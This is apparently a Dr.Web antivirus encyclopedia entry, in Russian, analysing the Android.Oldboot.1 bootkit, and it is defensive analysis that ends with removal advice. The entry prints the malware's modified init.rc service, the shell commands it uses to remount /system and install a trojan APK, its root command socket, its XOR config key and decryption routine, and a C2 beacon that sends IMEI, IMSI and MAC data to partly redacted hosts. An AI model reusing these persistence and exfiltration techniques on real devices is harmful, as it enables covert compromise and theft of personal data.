Защити созданное

Другие наши ресурсы

  • free.drweb.kz — бесплатные утилиты, плагины, информеры
  • av-desk.com — интернет-сервис для поставщиков услуг Dr.Web AV-Desk
  • curenet.drweb.kz — сетевая лечащая утилита Dr.Web CureNet!
Закрыть

Библиотека
Моя библиотека

Чтобы добавить ресурс в библиотеку, войдите в аккаунт.

+ Добавить в библиотеку

Ресурсов: -

Последний: -

Моя библиотека

Поддержка
Круглосуточная поддержка | Правила обращения

Позвоните

Глобальная поддержка:
+7 (495) 789-45-86

ЧаВо | Форум

Ваши запросы

  • Все: -
  • Незакрытые: -
  • Последний: -

Позвоните

Глобальная поддержка:
+7 (495) 789-45-86

Свяжитесь с нами Незакрытые запросы: 

Профиль

Профиль

Android.Oldboot.1

Добавлен в вирусную базу Dr.Web: 2014-01-20

Описание добавлено:

Троянская программа, располагающаяся в загрузочной области файловой системы Android-устройств.

При старте зараженного устройства происходит распаковка образа ядра, который уже содержит модифицированный скрипт инициализации init.rc, а также троянские компоненты /sbin/imei_chk и /sbin/.bootinfo, после чего операционной системой осуществляется считывание скрипта init.rc.

init.rc содержит следующие изменения:

service imei_chk /sbin/imei_chk
class core
socket imei_chk stream 666

Основываясь на этих командах, ОС запускает буткит /sbin/imei_chk и создает сокет с одноименным названием.

Работа буткита

/sbin/imei_chk играет роль установщика троянских приложений GoogleKernel.apk и libgooglekernel.so, а так же роль гейта, через который GoogleKernel.apk может выполнять команды с правами root через сокет с адресом imei_chk.

При запуске буткит распаковывает из своего тела файлы GoogleKernel.apk и libgooglekernel.so и устанавливает их:

#сканирует /proc/mounts и определяет монтирование /system
#перемонтирует system на запись
mount -o remount,rw %s /system
#сохраняет libgooglekernel.so
/system/lib/libgooglekernel.so
chown system.system libgooglekernel.so
chmod 644 libgooglekernel.so
#копирует GoogleKernel.apk
/system/app/GoogleKernel.apk
chown system.system GoogleKernel.apk
chmod  644 GoogleKernel.apk
mount -o remount,ro rootfs /system
pm enable com.android.googlekernel

Затем из переменных окружения буткит находит сокет, созданный ранее при старте ОС, и начинает слушать команды:

cmds - может выполнить любую команду в консоли с правами root
get_mnt_dev_name - имя монтируемого устройства
get_channel_id - возвращает 888888 или строчку из /sbin/.bootinfo

Компоненты GoogleKernel.apk и libgooglekernel.so

GoogleKernel.apk представляет из себя троянца-бота, реализованного в виде сервиса. Содержит в своих ресурсах lib/armeabi/libgooglekernel.so, который может быть задействован при отсутствии root-привилегий. Тесно взаимодействует с библиотекой libgooglekernel.so, имеющей большое количество экспортируемых функций и осуществляющий основной функционал бота. Кроме того, native-код данной библиотеки может вызывать Java-классы посредством JNI.

При запуске GoogleKernel.apk создает программный поток и вызывает основную экспортируемую функцию doWork.

Протокол общения с сервером

Бот имеет несколько командных серверов и может получать новые списки последних.

1 шаг - получение списка доменов

Вначале бот считывает свой конфигурационный файл и расшифровывает его:

/data/data/com.android.googlekernel/db/data.i

Метод шифрования:

function despan($data){
    $key="\xA1\x12\xF3\x92\xAE\x3E\x29\xCD";
    $l=strlen($data);
    $s="";
    $j=0;
    for ($i=0;$i<$l;$i++){
    $s.=chr(ord($data[$i])^ord($key[$j]));
    $j++;
    $j=$j%8;
    }
    return $s;
}

Также он проверяет контрольную сумму файла:

function checksum($data){
    $r=0;
    $l=strlen($data);
    for ($i=0;$i<$l;$i++){
    $r=$r+(ord($data[$i]));
    }
    return $r;
}

Структура файла:

struct CFG{
    uint8 encrypt_data[];
    uint32 sum;
};

Данный файл содержит список доменов через запятую. Если файл отсутствует, то осуществляется его загрузка по адресу http://info.[xxxxxxxxxx].com/data.i

В ответ на запрос загрузки поступает зашифрованный файл с данными о его контрольной сумме. Файл без проверки сохраняется в /data/data/com.android.googlekernel/db/data.i.

2 шаг – GET-запрос и получение базовой конфигурации для активации резервных серверов бота

GoogleKernel.apk последовательно выполняет GET-запросы к доменам из списка /data/data/com.android.googlekernel/db/data.i на скрипт %chanal_id%.json, при этом параметр chanal_id прописан в теле бота (значение равно 8008). В ответ бот ждет JSON-объект. Файл конфигурации может содержать следующие команды:

  • su - активировать HZ_main (http://[xxxxxxxx]666.com:8090/backurl.do, [xxxxxxxx]666.com, [xxxxxxxx]666.com) и main (http://[xxxx]108.net/install.html, [xxx]6.com, [xxxx]fy.com, [xxx]jobs.com);
  • type - активировать MY_main (http://[xxxxxxx]999.com:8090/backurl.do, [xxxxxxxx6666].com);
  • install - скачать и установить apk-файл на устройство; содержит дополнительные параметры (id, app, main, ver, vercode, size, path);
  • uninstall - удалить apk (app).

3 шаг – POST-запрос, отправка статистики о боте

В зависимости от применяемого типа команд - "su" (HZ_main, main) и "type" (MY_main) - активируется соответствующий функционал бота и его конфигурационные файлы. Эти функции идентичны и отличаются лишь доменными именами и путями хранения настроек.

Функция MY_main

Директория хранения файлов:

/data/data/com.android.googlekernel/bakdata/
mnt/sdcard/.android_security/bakdata.i
bakdata.i - хранит управляющий сервер [xxxxxxxxx]666.com
dns.i - домены параметра dns
post.i
db.i

Отправляется POST-запрос по адресу [xxxxxxxxx666].com на порт 8090 или 9090, а также скрипт /installreq.do /installreq2.do с информацией о боте в формате gzip (urlencode(JSON)):

<?xml version='1.0' encoding='UTF-8 ' ?>
<HB>
    <DN>golden</DN> #Build.DEVICE
    <DT>GT-I8190</DT> #Build.MODEL
    <OS>4.1.2</OS> #Build.VERSION.RELEASE
    <EI>356507059351894</EI> #localTelephonyManager.getDeviceId()
    <SI>250026699187743</SI> #localTelephonyManager.getSubscriberId()
    <AC>30</AC> #versionspan
    <PN>3.0</PN> #versionName
    <ID>8631ccb43a5dc066ae7920c43f36dc40</ID> #getId
    <CI>8008</CI> #getChannelId
    <TN></TN> #localTelephonyManager.getLine1Number()
    <NE>TYPE_WIFI</NE> #NETWORK_TYPE
    <MAC>9C:3A:AF:51:01:F6</MAC> #MAC
    <PATH>D</PATH> #debug, release
    <ISS />
    <RSS />
</HB>

В ответ бот ждет JSON-команду:

[{"addr":"","cardid":"db8ce287d3e712a9c2936a39bf165e43","dns":"[xxxxxxxx]66.com","repost":"1","time":"720","install":[],"uninstall":[]}]

Возможные команды:

  • addr - номер телефона, функция не реализована;
  • install - установить apk;
  • uninstall - удалить apk;
  • dns - домены (ACTION_TEST_BROADCAST, TEST_BROADCAST_LABEL выполняет broadcast);
  • repost – число;
  • cardid - сервер отдает id, который потом сохраняется в файл;
  • time – таймаут.

Функция HZ_main

http://[xxxxxxxx]666.com:8090/backurl.do
[xxxxxxxx]666.com,[xxxxxxxx]666.com
/data/data/com.android.googlekernel/bak/
dns.i
post.i
db.i
mnt/sdcard/.android_security/
mnt/sdcard/.android_security/bakdb.i

Функция main

http://[xxxx]108.net/install.html
[xx]y6.com,[xxxx]fy.com,[xxx]jobs.com
/data/data/com.android.googlekernel/data/
dns.i
post.i
db.i
mnt/sdcard/.android_security/
mnt/sdcard/.android_security/db.i

Данная функция отправляет отчет GET:

http://[xxxxxxxx]666.com:8090/installapp.do?cardid=db8ce287d3e712a9c2936a39bf165e43&appid=db8ce287d3e712a9c2936a39bf165e44&net=NETWORK_TYPE_UMTS&channelid=540042

Домены, которые бот получает с сервера:

[xxx]pfr.net, [xxx]ile.net, [xx]ppw.net, [xxx]tte.net

Рекомендации по лечению


Android

  1. Если мобильное устройство функционирует в штатном режиме, загрузите и установите на него бесплатный антивирусный продукт Dr.Web для Android Light. Выполните полную проверку системы и используйте рекомендации по нейтрализации обнаруженных угроз.
  2. Если мобильное устройство заблокировано троянцем-вымогателем семейства Android.Locker (на экране отображается обвинение в нарушении закона, требование выплаты определенной денежной суммы или иное сообщение, мешающее нормальной работе с устройством), выполните следующие действия:
    • загрузите свой смартфон или планшет в безопасном режиме (в зависимости от версии операционной системы и особенностей конкретного мобильного устройства эта процедура может быть выполнена различными способами; обратитесь за уточнением к инструкции, поставляемой вместе с приобретенным аппаратом, или напрямую к его производителю);
    • после активации безопасного режима установите на зараженное устройство бесплатный антивирусный продукт Dr.Web для Android Light и произведите полную проверку системы, выполнив рекомендации по нейтрализации обнаруженных угроз;
    • выключите устройство и включите его в обычном режиме.

Подробнее о Dr.Web для Android

Демо бесплатно на 14 дней

Выдаётся при установке